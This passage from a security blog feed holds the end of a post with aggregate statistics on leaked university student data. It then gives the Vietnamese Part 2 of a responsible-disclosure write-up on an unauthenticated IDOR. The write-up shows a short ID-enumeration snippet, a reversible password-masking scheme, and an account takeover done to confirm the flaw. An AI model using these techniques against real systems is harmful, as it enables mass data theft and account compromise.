      <td>5,579</td>
    </tr>
    <tr>
      <td>English</td>
      <td>5,510</td>
    </tr>
    <tr>
      <td>Chinese</td>
      <td>4,422</td>
    </tr>
    <tr>
      <td>Distance Learning Center</td>
      <td>3,887</td>
    </tr>
    <tr>
      <td>Information Technology</td>
      <td>3,315</td>
    </tr>
    <tr>
      <td>Japanese</td>
      <td>2,829</td>
    </tr>
    <tr>
      <td>Korean</td>
      <td>2,705</td>
    </tr>
    <tr>
      <td>French</td>
      <td>2,102</td>
    </tr>
    <tr>
      <td>German</td>
      <td>1,750</td>
    </tr>
    <tr>
      <td>International Studies</td>
      <td>1,694</td>
    </tr>
  </tbody>
</table>

<p>41,340 accounts had faculty data, across 42 unique faculty names.</p>

<p><strong>Top 10 Majors:</strong></p>

<table>
  <thead>
    <tr>
      <th>Major</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>English Language</td>
      <td>9,298</td>
    </tr>
    <tr>
      <td>Chinese Language</td>
      <td>3,792</td>
    </tr>
    <tr>
      <td>Japanese Language</td>
      <td>2,814</td>
    </tr>
    <tr>
      <td>Korean Language</td>
      <td>2,099</td>
    </tr>
    <tr>
      <td>German Language</td>
      <td>1,741</td>
    </tr>
    <tr>
      <td>International Studies</td>
      <td>1,642</td>
    </tr>
    <tr>
      <td>Russian Language</td>
      <td>1,542</td>
    </tr>
    <tr>
      <td>French Language</td>
      <td>1,497</td>
    </tr>
    <tr>
      <td>Information Technology</td>
      <td>1,490</td>
    </tr>
    <tr>
      <td>Business Administration</td>
      <td>1,397</td>
    </tr>
  </tbody>
</table>

<p>41,226 accounts had major data, across 56 unique programs.</p>

<p><strong>Program Types:</strong></p>

<table>
  <thead>
    <tr>
      <th>Program</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Full-time</td>
      <td>32,076</td>
    </tr>
    <tr>
      <td>Distance learning</td>
      <td>4,035</td>
    </tr>
    <tr>
      <td>Part-time</td>
      <td>1,576</td>
    </tr>
    <tr>
      <td>Second degree</td>
      <td>1,017</td>
    </tr>
    <tr>
      <td>International joint program</td>
      <td>402</td>
    </tr>
    <tr>
      <td>Double major</td>
      <td>366</td>
    </tr>
  </tbody>
</table>

<p><strong>Enrollment Year – Top 10:</strong></p>

<table>
  <thead>
    <tr>
      <th>Year</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>K2019</td>
      <td>4,720</td>
    </tr>
    <tr>
      <td>K2020</td>
      <td>4,526</td>
    </tr>
    <tr>
      <td>K2021</td>
      <td>4,281</td>
    </tr>
    <tr>
      <td>K2018</td>
      <td>3,941</td>
    </tr>
    <tr>
      <td>K2022</td>
      <td>3,615</td>
    </tr>
    <tr>
      <td>K2024</td>
      <td>3,023</td>
    </tr>
    <tr>
      <td>K2023</td>
      <td>3,017</td>
    </tr>
    <tr>
      <td>K2025</td>
      <td>2,918</td>
    </tr>
    <tr>
      <td>K2017</td>
      <td>2,805</td>
    </tr>
    <tr>
      <td>K2015</td>
      <td>2,031</td>
    </tr>
  </tbody>
</table>

<p>39,768 accounts had enrollment year data, spanning from K2008 to K2025.</p>

<p><strong>Student Status:</strong></p>

<table>
  <thead>
    <tr>
      <th>Status</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Currently enrolled</td>
      <td>19,325</td>
    </tr>
    <tr>
      <td>Graduated</td>
      <td>10,226</td>
    </tr>
    <tr>
      <td>Dropped out</td>
      <td>1,460</td>
    </tr>
    <tr>
      <td>On leave</td>
      <td>284</td>
    </tr>
    <tr>
      <td>Other</td>
      <td>5</td>
    </tr>
  </tbody>
</table>

<p><strong>Ethnicity</strong> – 7,845 accounts:</p>

<table>
  <thead>
    <tr>
      <th>Ethnicity</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Kinh (majority)</td>
      <td>7,363</td>
    </tr>
    <tr>
      <td>Tay</td>
      <td>196</td>
    </tr>
    <tr>
      <td>Muong</td>
      <td>100</td>
    </tr>
    <tr>
      <td>Nung</td>
      <td>77</td>
    </tr>
    <tr>
      <td>San Diu</td>
      <td>23</td>
    </tr>
    <tr>
      <td>Thai</td>
      <td>19</td>
    </tr>
    <tr>
      <td>Dao</td>
      <td>14</td>
    </tr>
    <tr>
      <td>Others (11 groups)</td>
      <td>53</td>
    </tr>
  </tbody>
</table>

<p><strong>Nationality</strong> – 5,655 accounts: 5,621 Vietnamese, plus 34 foreign nationals from China, Japan, Indonesia, South Korea, Thailand, Philippines, Taiwan, New Zealand, and others.</p>

<p><strong>Religion</strong> – 5,476 accounts: 5,134 none, 215 Buddhist, 104 Catholic, 14 Christian, 8 other, 1 Protestant.</p>

<blockquote>
  <p><strong>Note:</strong> Detailed reproduction code, staff credentials, and unredacted data have been withheld from this publication. Full technical details were shared with the affected parties during responsible disclosure.</p>
</blockquote>]]></content><author><name>PHAM Hoang Phi</name></author><category term="Security" /><category term="IDOR" /><category term="Broken Access Control" /><category term="API Abuse" /><category term="Data Exposure" /><category term="Password Leak" /><category term="Account Takeover" /><category term="CVSS Critical" /><summary type="html"><![CDATA[After discovering 896 exposed ID cards in Part 1, I investigated the same vendor's in-house network platform at University X. What I found was far worse: 80,053 accounts, staff passwords in the API response, and full account takeover – all without authentication.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://hoangphi01.github.io/assets/posts/J0194R/1_uniplatform_after_access.png" /><media:content medium="image" url="https://hoangphi01.github.io/assets/posts/J0194R/1_uniplatform_after_access.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry xml:lang="vn"><title type="html">Phần 2: 80.000+ Tài Khoản – Từ Sinh Viên Đến Phó Hiệu Trưởng, Không Ai Được Bảo Vệ</title><link href="https://hoangphi01.github.io/blog/2026/06/13/vn-universityx-inhouse-network-leaked-J0194R/" rel="alternate" type="text/html" title="Phần 2: 80.000+ Tài Khoản – Từ Sinh Viên Đến Phó Hiệu Trưởng, Không Ai Được Bảo Vệ" /><published>2026-06-13T00:00:00+00:00</published><updated>2026-06-13T00:00:00+00:00</updated><id>https://hoangphi01.github.io/blog/2026/06/13/vn-universityx-inhouse-network-leaked-J0194R</id><content type="html" xml:base="https://hoangphi01.github.io/blog/2026/06/13/vn-universityx-inhouse-network-leaked-J0194R/"><![CDATA[<div style="border: 2px solid #2d8a2d; border-radius: 24px; padding: 16px 24px; margin: 1.5em auto; max-width: 700px; background: #f0faf0;">
  <p style="margin: 0; font-weight: bold; color: #2d8a2d;"><svg xmlns="http://www.w3.org/2000/svg" height="20px" viewBox="0 -960 960 960" width="20px" fill="#2d8a2d" style="vertical-align: text-bottom; margin-right: 4px;"><path d="m438-338 226-226-57-57-169 169-84-84-57 57 141 141Zm42 258q-139-35-229.5-159.5T160-516v-244l320-120 320 120v244q0 152-90.5 276.5T480-80Zm0-84q104-33 172-132t68-220v-189l-240-90-240 90v189q0 121 68 220t172 132Zm0-316Z" /></svg>Cập nhật (23 tháng 6, 2026): Lỗ hổng cốt lõi đã được khắc phục</p>
  <p style="margin: 4px 0 0 0; font-size: 0.9em; color: #333;">Công ty Y đã triển khai xác thực phía server trên cổng API XHR. Lỗ hổng IDOR tài khoản và lộ mật khẩu trên nền tảng này không còn khai thác được. <a href="#10-cập-nhật-kiểm-tra-lại--ngày-23-tháng-6-2026">Xem chi tiết kiểm tra lại bên dưới.</a></p>
</div>

<div style="background: linear-gradient(90deg, #2d8a2d 0%, #2d8a2d 1%, #c8c820 1%, #c8c820 39%, #e88a1a 39%, #e88a1a 69%, #cc2020 69%, #cc2020 89%, #991a1a 89%, #991a1a 100%); border-radius: 6px; padding: 4px; max-width: 600px; margin: 1.5em auto; position: relative;">
  <div style="display: flex; justify-content: space-between; padding: 0 4px;">
    <span style="color: white; font-size: 0.65em; font-weight: bold;">LOW</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">MEDIUM</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">HIGH</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">CRITICAL</span>
  </div>
</div>
<p style="text-align: center; font-weight: bold; font-size: 1.2em; color: #cc1a1a; margin-top: -0.5em;">CVSS 3.1: 9.8 (CRITICAL)</p>
<p style="text-align: center; font-size: 0.95em;">Lộ thông tin đăng nhập hàng loạt + chiếm quyền tài khoản qua API không xác thực.</p>

<h2 id="tóm-tắt">Tóm tắt</h2>

<p><a href="/blog/2026/03/24/vn-universityx-candidate-data-exposure-CNMENU/">Phần 1</a> kết thúc với 896 thí sinh bị lộ dữ liệu cá nhân và ảnh chụp CCCD qua hệ thống Trung tâm Khảo thí của Trường Đại học X, toàn bộ được xây dựng trên nền tảng “Connections” của Công ty Y. Tôi khép lại báo cáo đó với một câu hỏi cứ lởn vởn trong đầu không chịu biến mất: nếu hệ thống thi cử không có bất kỳ kiểm soát truy cập nào, thì nền tảng <em>chính</em> của trường, chạy trên cùng một hạ tầng, sẽ ra sao?</p>

<p>Câu hỏi đó khiến tôi không yên. Và câu trả lời thì tệ hơn rất nhiều so với kịch bản xấu nhất mà tôi đã hình dung.</p>

<p>Trường Đại học X vận hành <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> như mạng nội bộ trung tâm của trường, cũng được xây dựng trên cùng nền tảng Connections SaaS của Công ty Y. Đây không phải cổng phụ hay hệ thống thí điểm nào đó, mà là nơi chứa mọi sinh viên, mọi cựu sinh viên, mọi cán bộ, mọi giảng viên, toàn bộ dân số kỹ thuật số của trường đại học tập trung tại một chỗ. Sử dụng cùng các kỹ thuật từ Phần 1 (gọi API không xác thực và liệt kê ID tuần tự), tôi đã trích xuất <strong>80.053 tài khoản người dùng</strong>, mỗi tài khoản chứa tới 40 trường dữ liệu cá nhân.</p>

<p>Nhưng con số không phải thứ khiến tôi mất ngủ đêm đó. Mà là <strong>trường mật khẩu</strong>. API trả về thông tin đăng nhập cho cả tài khoản cán bộ lẫn sinh viên: một số ở dạng văn bản thuần (plaintext), số khác được che bằng một thuật toán đơn giản đến mức có thể dịch ngược bằng dữ liệu nằm ngay trong <em>chính phản hồi API đó</em>. Riêng với 554 tài khoản cán bộ có mật khẩu bị lộ, tôi thu được 208 bộ thông tin đăng nhập sử dụng được: 50 đọc trực tiếp ở dạng plaintext, 158 phục hồi offline, mà không cần thực hiện một lần đăng nhập nào.</p>

<p>Và để xác nhận rằng đây không phải rủi ro lý thuyết, tôi đã đăng nhập vào hai tài khoản: một Phó Hiệu trưởng và một sinh viên. Không bruteforce, không exploit, tôi chỉ đọc trường mật khẩu từ API rồi gõ vào form đăng nhập. Cả hai đều vào được ngay lần đầu.</p>

<h2 id="1-giới-thiệu">1. Giới thiệu</h2>

<h3 id="11-tóm-tắt-phần-1">1.1. Tóm tắt Phần 1</h3>

<p>Nếu bạn chưa đọc <a href="/blog/2026/03/24/vn-universityx-candidate-data-exposure-CNMENU/">Phần 1</a>, đây là phiên bản ngắn gọn. Tôi đã điều tra <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>, hệ thống đăng ký thi của Trung tâm Khảo thí, và phát hiện:</p>

<ul>
  <li><strong>896 thí sinh bị lộ dữ liệu cá nhân</strong> qua API không xác thực</li>
  <li><strong>Số CCCD và ảnh chụp thẻ căn cước</strong> ai cũng có thể truy cập</li>
  <li><strong>Nguyên nhân gốc</strong>: Nền tảng Connections của Công ty Y không có bất kỳ cơ chế xác thực phía server nào</li>
</ul>

<p>Vấn đề nằm ở kiến trúc nền tảng, không phải một endpoint bị cấu hình sai. Mọi bảng, mọi trường, mọi tập tin tải lên đều có thể truy cập bởi bất kỳ ai biết (hoặc đoán được) ID đối tượng đúng.</p>

<h3 id="12-câu-hỏi-tự-nhiên-tiếp-theo">1.2. Câu hỏi tự nhiên tiếp theo</h3>

<p>Trung tâm Khảo thí chỉ là một triển khai nhỏ: vài trăm thí sinh mỗi đợt thi. Nhưng tôi biết sự hiện diện của Trường Đại học X trên nền tảng Connections không dừng lại ở đó.</p>

<p>Trường còn vận hành <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code>, mạng nội bộ trung tâm, chứa tài khoản của mọi sinh viên, cán bộ, và giảng viên trên toàn trường. Cùng nhà cung cấp, cùng framework JavaScript, cùng các script từ <code class="language-plaintext highlighter-rouge">cdn.companyy.com</code>, cùng kiến trúc. Và nếu hệ thống thi cử đã để lộ dữ liệu của 896 người, thì mạng lưới chính của trường đại học, nơi chứa toàn bộ dân số của trường, sẽ phơi bày những gì?</p>

<p>Tôi không thể không đi tiếp.</p>

<h3 id="13-phạm-vi-và-đạo-đức">1.3. Phạm vi và Đạo đức</h3>

<p>Các nguyên tắc đạo đức từ Phần 1 được áp dụng xuyên suốt:</p>

<ul>
  <li>Mọi truy cập dữ liệu đều sử dụng các endpoint công khai, không xác thực.</li>
  <li>Không có xác thực nào bị vượt qua, vì không có xác thực nào tồn tại để vượt qua.</li>
  <li>Không có dữ liệu nào bị sửa đổi, xóa, hoặc chia sẻ cho bên thứ ba.</li>
  <li>Không thực hiện tấn công brute-force. Việc phục hồi mật khẩu được thực hiện offline bằng dữ liệu đã bị lộ từ chính API đó.</li>
  <li>Chiếm quyền tài khoản chỉ thực hiện một lần duy nhất, nhằm xác nhận mức độ nghiêm trọng của lỗ hổng, và phiên đăng nhập được kết thúc ngay lập tức.</li>
</ul>

<h2 id="2-mục-tiêu-lớn-hơn-mạng-lưới-đại-học">2. Mục tiêu lớn hơn: Mạng lưới Đại học</h2>

<h3 id="21-khám-phá-nền-tảng">2.1. Khám phá nền tảng</h3>

<p>Tôi mở <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> trong trình duyệt, bật mã nguồn lên, và cảm giác đầu tiên là <em>déjà vu</em>. Cùng framework JavaScript quen thuộc, tải từ cùng CDN:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.companyy.com/js/include.core.isj"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p>Các hàm API nội bộ y hệt vẫn có sẵn: <code class="language-plaintext highlighter-rouge">CAN.db()</code> để truy vấn cơ sở dữ liệu, <code class="language-plaintext highlighter-rouge">config()</code> để đọc phản hồi đã cache, và <code class="language-plaintext highlighter-rouge">xửLý()</code> để thực hiện tìm kiếm. Điểm khác biệt duy nhất là dữ liệu: thay vì thí sinh dự thi, nền tảng này quản lý toàn bộ người dùng của trường đại học.</p>

<p>Tôi đã biết kiến trúc này không có ổ khóa trên cửa. Giờ câu hỏi duy nhất là: có bao nhiêu thứ đằng sau cánh cửa đó?</p>

<h3 id="22-lập-bản-đồ-không-gian-tài-khoản">2.2. Lập bản đồ không gian tài khoản</h3>

<p>Tôi bắt đầu duyệt qua các ID tài khoản tuần tự qua <code class="language-plaintext highlighter-rouge">CAN.db()</code>, cùng kỹ thuật liệt kê như Phần 1. Ước tính ban đầu cho dải hoạt động là 7.787–97.744, khoảng 89.958 ID tiềm năng, con số đã đủ lớn rồi. Nhưng khi quá trình thu thập chạy, các tài khoản cứ liên tục xuất hiện vượt xa giới hạn đó, và tôi bắt đầu nhận ra quy mô thực sự lớn hơn nhiều so với tôi nghĩ:</p>

<table>
  <thead>
    <tr>
      <th>Thông số</th>
      <th>Giá trị</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ID hoạt động thấp nhất</td>
      <td>7.787</td>
    </tr>
    <tr>
      <td>ID hoạt động cao nhất</td>
      <td>215.212</td>
    </tr>
    <tr>
      <td>Tổng dải ID</td>
      <td>207.426</td>
    </tr>
    <tr>
      <td>Tài khoản có dữ liệu</td>
      <td><strong>80.053</strong></td>
    </tr>
  </tbody>
</table>

<p>Hơn 200.000 ID tiềm năng được dò quét, và 80.053 trong số đó trả về bản ghi người dùng đầy đủ, từng cái một, đều truy cập được mà không cần xác thực. Lúc con số vượt qua 50.000 rồi cứ tiếp tục tăng, tôi mới thực sự cảm nhận được sự khác biệt. 896 ở Phần 1 là một góc khuất nhỏ của trường đại học. 80.053 là toàn bộ trường đại học.</p>

<h2 id="3-thu-thập-dữ-liệu-80053-tài-khoản">3. Thu thập dữ liệu: 80.053 tài khoản</h2>

<h3 id="31-phương-pháp-trích-xuất">3.1. Phương pháp trích xuất</h3>

<p>Kỹ thuật hoàn toàn giống Phần 1. Với mỗi ID tài khoản trong dải, một lệnh gọi API duy nhất trả về toàn bộ bản ghi:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.{id}</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.{id}</span><span class="dl">"</span><span class="p">);</span>
    <span class="c1">// d giờ chứa tất cả các trường của tài khoản này</span>
<span class="p">});</span>
</code></pre></div></div>

<p>Không có token, không cookie, không header xác thực, không gì cả. Nền tảng tự động tạo một phiên ẩn danh (tôi nhận được session ID <code class="language-plaintext highlighter-rouge">kID=186xxxxx</code>) và phục vụ dữ liệu như thể tôi là người dùng hợp lệ. Giống hệt Phần 1: cơ sở dữ liệu đơn giản trả lời bất kỳ ai hỏi, không cần biết người hỏi là ai.</p>

<h3 id="32-hai-hướng-phơi-bày">3.2. Hai hướng phơi bày</h3>

<p>80.053 tài khoản không phải một tập dữ liệu đồng nhất mà chia thành hai câu chuyện phơi bày rất khác nhau, mỗi câu chuyện mang mức độ nghiêm trọng riêng:</p>

<table>
  <thead>
    <tr>
      <th>Loại tài khoản</th>
      <th>Số lượng</th>
      <th>Loại tài khoản (loai_tk)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Sinh viên đang học</td>
      <td>21.393</td>
      <td>Loại 0</td>
    </tr>
    <tr>
      <td>Cựu sinh viên</td>
      <td>57.588</td>
      <td>Chủ yếu loại 0</td>
    </tr>
    <tr>
      <td>Cán bộ &amp; Giảng viên</td>
      <td>562</td>
      <td>Chủ yếu loại 2, với 6 loại 1 (admin)</td>
    </tr>
    <tr>
      <td>Doanh nghiệp / Đối tác</td>
      <td>166</td>
      <td>Loại 3</td>
    </tr>
    <tr>
      <td>Khách</td>
      <td>344</td>
      <td>Loại 3</td>
    </tr>
    <tr>
      <td><strong>Tổng</strong></td>
      <td><strong>80.053</strong></td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>Câu chuyện thứ nhất là về <strong>78.981 sinh viên và cựu sinh viên</strong>: khối lượng dữ liệu cá nhân bị phơi bày lớn đến mức nào. Câu chuyện thứ hai là về <strong>562 cán bộ và giảng viên</strong>, một nhóm nhỏ hơn nhiều, nhưng với dữ liệu đăng nhập bị phơi bày chi tiết hơn. Mật khẩu bị lộ ở cả hai nhóm, nhưng tài khoản cán bộ là nơi tôi tập trung phân tích vì mức độ đặc quyền và tác động của chúng.</p>

<h2 id="4-hướng-1-lộ-dữ-liệu-sinh-viên-và-cựu-sinh-viên--78981-tài-khoản">4. Hướng 1: Lộ dữ liệu Sinh viên và Cựu sinh viên – 78.981 tài khoản</h2>

<h3 id="41-quy-mô">4.1. Quy mô</h3>

<p>Đại đa số tài khoản bị lộ, 21.393 sinh viên đang học và 57.588 cựu sinh viên, thuộc về những người đã theo học tại Trường Đại học X trong gần hai thập kỷ qua. Đây là các tài khoản chuẩn (loại 0), mỗi tài khoản chứa tới 40 trường dữ liệu cá nhân.</p>

<p><img src="/assets/posts/J0194R/2_sample_of_studentacc.png" alt="Dữ liệu mẫu tài khoản sinh viên từ API" />
<em>Hình 1: Bản ghi tài khoản sinh viên mẫu được trả về bởi API không xác thực, hiển thị các trường dữ liệu cá nhân bao gồm họ tên, ngày sinh, mã sinh viên, và thông tin liên hệ.</em></p>

<h3 id="42-những-gì-bị-lộ-cho-mỗi-sinh-viên">4.2. Những gì bị lộ cho mỗi sinh viên</h3>

<p>Mỗi bản ghi sinh viên là một hồ sơ cá nhân hoàn chỉnh. Bảng dưới đây cho thấy mức độ đầy đủ của dữ liệu:</p>

<table>
  <thead>
    <tr>
      <th>Trường</th>
      <th>Có dữ liệu</th>
      <th>Tỷ lệ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Họ tên (ho_ten)</td>
      <td>80.037</td>
      <td>100,0%</td>
    </tr>
    <tr>
      <td>Mã sinh viên (ma_sinh_vien)</td>
      <td>79.448</td>
      <td>99,2%</td>
    </tr>
    <tr>
      <td>Ngày sinh (ngay_sinh)</td>
      <td>78.637</td>
      <td>98,2%</td>
    </tr>
    <tr>
      <td>Giới tính (gioi_tinh)</td>
      <td>70.028</td>
      <td>87,5%</td>
    </tr>
    <tr>
      <td>Quê quán (que_quan)</td>
      <td>50.042</td>
      <td>62,5%</td>
    </tr>
    <tr>
      <td>Khoa (khoa)</td>
      <td>41.340</td>
      <td>51,6%</td>
    </tr>
    <tr>
      <td>Ngành (nganh)</td>
      <td>41.226</td>
      <td>51,5%</td>
    </tr>
    <tr>
      <td>Khóa học (khoa_hoc)</td>
      <td>39.768</td>
      <td>49,7%</td>
    </tr>
    <tr>
      <td>Chức vụ (chuc_vu)</td>
      <td>36.390</td>
      <td>45,5%</td>
    </tr>
    <tr>
      <td>Email (email)</td>
      <td>29.640</td>
      <td>37,0%</td>
    </tr>
    <tr>
      <td>Số điện thoại (sdt)</td>
      <td>23.970</td>
      <td>29,9%</td>
    </tr>
    <tr>
      <td>Dân tộc (dan_toc)</td>
      <td>7.845</td>
      <td>9,8%</td>
    </tr>
    <tr>
      <td>Ảnh đại diện (avatar_id)</td>
      <td>6.586</td>
      <td>8,2%</td>
    </tr>
    <tr>
      <td>Số CCCD (cmnd_cccd)</td>
      <td>2.750</td>
      <td>3,4%</td>
    </tr>
    <tr>
      <td>Tên mẹ</td>
      <td>344</td>
      <td>0,4%</td>
    </tr>
    <tr>
      <td>Tên bố</td>
      <td>333</td>
      <td>0,4%</td>
    </tr>
  </tbody>
</table>

<p>80.037 họ tên đầy đủ, 78.637 ngày sinh, 23.970 số điện thoại, 2.750 số căn cước công dân, và thậm chí 333 tài khoản lộ cả tên bố mẹ. Đây không phải danh sách tên đăng nhập hay bảng dữ liệu khô khan nào đó, mà là hồ sơ cá nhân hoàn chỉnh của gần như toàn bộ dân số trường đại học, từ sinh viên năm nhất đến cựu sinh viên gần hai thập kỷ trước, tất cả nằm trơ ra cho ai muốn xem thì xem.</p>

<h3 id="43-bức-chân-dung-của-sinh-viên-toàn-trường">4.3. Bức chân dung của sinh viên toàn trường</h3>

<p>Dữ liệu vẽ nên một bức tranh chi tiết đến đáng lo ngại về Trường Đại học X. Tỷ lệ nữ-nam 4:1 (54.815 nữ, 13.522 nam) phản ánh định hướng chuyên ngành ngoại ngữ của trường. Dữ liệu khóa tuyển sinh trải dài từ K2008 đến K2025, gần hai thập kỷ sinh viên, tất cả nằm trong một cơ sở dữ liệu mở toang.</p>

<p>Trong 29.640 địa chỉ email, 20.793 là tài khoản Gmail cá nhân, trong khi 5.329 sử dụng tên miền Microsoft 365 của trường. 68 tài khoản có email <code class="language-plaintext highlighter-rouge">gmai.com</code> và 48 có <code class="language-plaintext highlighter-rouge">gmail.con</code>, những lỗi đánh máy xác nhận đây là dữ liệu thực do con người nhập, không phải dữ liệu test.</p>

<p>50.042 tài khoản có quê quán, tập trung nhiều ở miền Bắc Việt Nam, riêng Hà Nội chiếm 35,5%. Các khoa đông nhất là Quản trị Kinh doanh &amp; Du lịch (5.579), tiếng Anh (5.510), và tiếng Trung (4.422), trải rộng trên 42 tên khoa và 56 chương trình đào tạo.</p>

<p>Bảng thống kê chi tiết đầy đủ (khoa, ngành, phân bố địa lý, nhân khẩu học) có trong <a href="#f-bảng-thống-kê-chi-tiết">Phụ lục</a>.</p>

<h3 id="44-tại-sao-điều-này-quan-trọng">4.4. Tại sao điều này quan trọng</h3>

<p>Việc lộ dữ liệu sinh viên đáng lo ở cả quy mô lẫn chiều sâu. Bất kỳ ai có trình duyệt đều có thể xây dựng hồ sơ về gần 80.000 người: tên, ngày sinh, số điện thoại, quê quán, ngành học, và năm nhập học. Với 2.750 người, số căn cước công dân cũng bị lộ, một thứ không bao giờ có thể thay đổi được.</p>

<p>Và không chỉ dữ liệu cá nhân, mật khẩu của sinh viên cũng bị lộ qua API. Nhưng phân tích chi tiết về thông tin đăng nhập, tôi tập trung vào nhóm thứ hai, nơi mức độ đặc quyền khiến hậu quả nghiêm trọng hơn nhiều.</p>

<h2 id="5-hướng-2-lộ-dữ-liệu-cán-bộ-và-giảng-viên--562-tài-khoản-kèm-mật-khẩu">5. Hướng 2: Lộ dữ liệu Cán bộ và Giảng viên – 562 tài khoản (kèm mật khẩu)</h2>

<h3 id="51-nhóm-nhỏ-hơn-vấn-đề-lớn-hơn">5.1. Nhóm nhỏ hơn, vấn đề lớn hơn</h3>

<p>Tài khoản cán bộ và giảng viên chỉ chiếm một phần nhỏ: 562 trên 80.053. Mật khẩu bị lộ ở cả tài khoản sinh viên lẫn cán bộ, nhưng tài khoản cán bộ đặc biệt nguy hiểm vì bốn trường dữ liệu đăng nhập rõ ràng: <code class="language-plaintext highlighter-rouge">username</code>, <code class="language-plaintext highlighter-rouge">password</code>, <code class="language-plaintext highlighter-rouge">password_unmasked</code>, và <code class="language-plaintext highlighter-rouge">password_type</code>, kết hợp với quyền quản trị mà các tài khoản này nắm giữ.</p>

<p>API đang trả về thông tin đăng nhập thật, không chỉ dữ liệu cá nhân, mà là credential thực sự của cán bộ trường đại học.</p>

<h3 id="52-trường-mật-khẩu">5.2. Trường mật khẩu</h3>

<p>Trong lúc ánh xạ các trường được trả về cho tài khoản cán bộ, tôi nhìn thấy trường <code class="language-plaintext highlighter-rouge">ợ</code> và phải dừng lại một lúc.</p>

<p>Trường này có dữ liệu ở cả tài khoản sinh viên lẫn cán bộ, nhưng với tài khoản cán bộ và quản trị, nó chứa thứ trông rõ ràng là thông tin đăng nhập có đặc quyền cao. Tôi ngồi nhìn chằm chằm vào màn hình, đọc đi đọc lại mấy lần vì không tin vào mắt mình. Nền tảng này, cái nền tảng mà hàng chục nghìn người đang dùng, đang trả về <em>mật khẩu</em> trong phản hồi API cho bất kỳ ai hỏi.</p>

<p>Tôi kiểm tra kỹ hơn, và dữ liệu đăng nhập bị lộ cho 561 tài khoản, chia thành ba loại:</p>

<table>
  <thead>
    <tr>
      <th>Loại tài khoản</th>
      <th>Có thông tin đăng nhập</th>
      <th>Có mật khẩu</th>
      <th>Mật khẩu trống</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Cán bộ (loại 2)</td>
      <td>547</td>
      <td>546</td>
      <td>1</td>
    </tr>
    <tr>
      <td>Admin (loại 1)</td>
      <td>6</td>
      <td>4</td>
      <td>2</td>
    </tr>
    <tr>
      <td>Bên ngoài (loại 3)</td>
      <td>8</td>
      <td>4</td>
      <td>4</td>
    </tr>
    <tr>
      <td><strong>Tổng</strong></td>
      <td><strong>561</strong></td>
      <td><strong>554</strong></td>
      <td><strong>7</strong></td>
    </tr>
  </tbody>
</table>

<p>554 tài khoản có mật khẩu không rỗng chia thành hai nhóm:</p>

<table>
  <thead>
    <tr>
      <th>Loại</th>
      <th>Số lượng</th>
      <th>Định dạng</th>
      <th>Ví dụ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Plaintext</td>
      <td>50 (9,0%)</td>
      <td>Chuỗi mật khẩu thô</td>
      <td><code class="language-plaintext highlighter-rouge">mypassword123</code></td>
    </tr>
    <tr>
      <td>Đã che (masked)</td>
      <td>504 (91,0%)</td>
      <td><code class="language-plaintext highlighter-rouge">2_ký_tự_đầu**2_ký_tự_cuối[độ_dài]</code></td>
      <td><code class="language-plaintext highlighter-rouge">xx**xx[13]</code></td>
    </tr>
  </tbody>
</table>

<p>Năm mươi mật khẩu ở dạng văn bản thuần, nằm ngay đó trong phản hồi API, đọc được bằng mắt thường. Còn 504 cái còn lại thì được “che”, nhưng như tôi sắp phát hiện ra, cái lớp che đó mỏng đến mức gần như vô nghĩa.</p>

<p><img src="/assets/posts/J0194R/3_sample_of_staffacc.png" alt="Mẫu tài khoản cán bộ với các trường thông tin đăng nhập" />
<em>Hình 2: Bản ghi tài khoản cán bộ từ phản hồi API, lưu ý các trường thông tin đăng nhập bao gồm username và dữ liệu mật khẩu, được phục vụ cho một phiên ẩn danh không xác thực.</em></p>

<h3 id="53-thuật-toán-che-mật-khẩu">5.3. Thuật toán che mật khẩu</h3>

<p>Các mật khẩu bị che tuân theo một mẫu nhất quán:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2 ký tự đầu + "**" + 2 ký tự cuối + "[" + tổng độ dài + "]"
</code></pre></div></div>

<p>Ví dụ, một mật khẩu bị che như <code class="language-plaintext highlighter-rouge">xx**xx[13]</code> tiết lộ:</p>
<ul>
  <li>Bắt đầu bằng: 2 ký tự đầu</li>
  <li>Kết thúc bằng: 2 ký tự cuối</li>
  <li>Tổng độ dài: 13 ký tự</li>
  <li>Chưa biết: chỉ 9 ký tự ở giữa</li>
</ul>

<p>Đây không phải mã hóa (encryption), cũng không phải hàm băm (hashing). Đây là một mặt nạ hiển thị <em>giữ lại</em> thông tin về mật khẩu gốc, và những thông tin đó thu hẹp đáng kể không gian tìm kiếm để phục hồi.</p>

<p>Rồi tôi nhận ra một điều còn tệ hơn.</p>

<h3 id="54-phục-hồi-mật-khẩu-offline">5.4. Phục hồi mật khẩu offline</h3>

